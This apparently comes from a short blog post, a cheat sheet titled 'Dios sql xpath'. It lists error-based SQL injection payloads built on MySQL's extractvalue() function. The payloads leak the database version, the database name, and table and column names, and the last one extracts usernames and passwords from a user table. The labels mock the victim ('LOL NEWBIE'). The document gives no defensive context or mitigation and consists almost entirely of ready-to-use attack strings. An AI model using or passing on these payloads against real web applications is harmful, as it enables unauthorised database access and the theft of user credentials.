Dios sql xpath

 Dios xpath=

+and extractvalue(0x0a,concat('./LOL NEWBIE-->',(select version()))) => Get Version 


+and extractvalue(0x0a,concat('./LOL NEWBIE-->',(select database()))) => Database 


+and extractvalue(0x0a,concat('./LOL NEWBIE-->',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) => Get Table 


+and extractvalue(0x0a,concat('./LOL NEWBIE-->',(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 0,1))) => Get Columns

 

+and extractvalue(rand(),concat('./LOL NEWBIE~~>',(select concat(username,'-->',password) from user limit 0,1))) => get user and pass

Komentar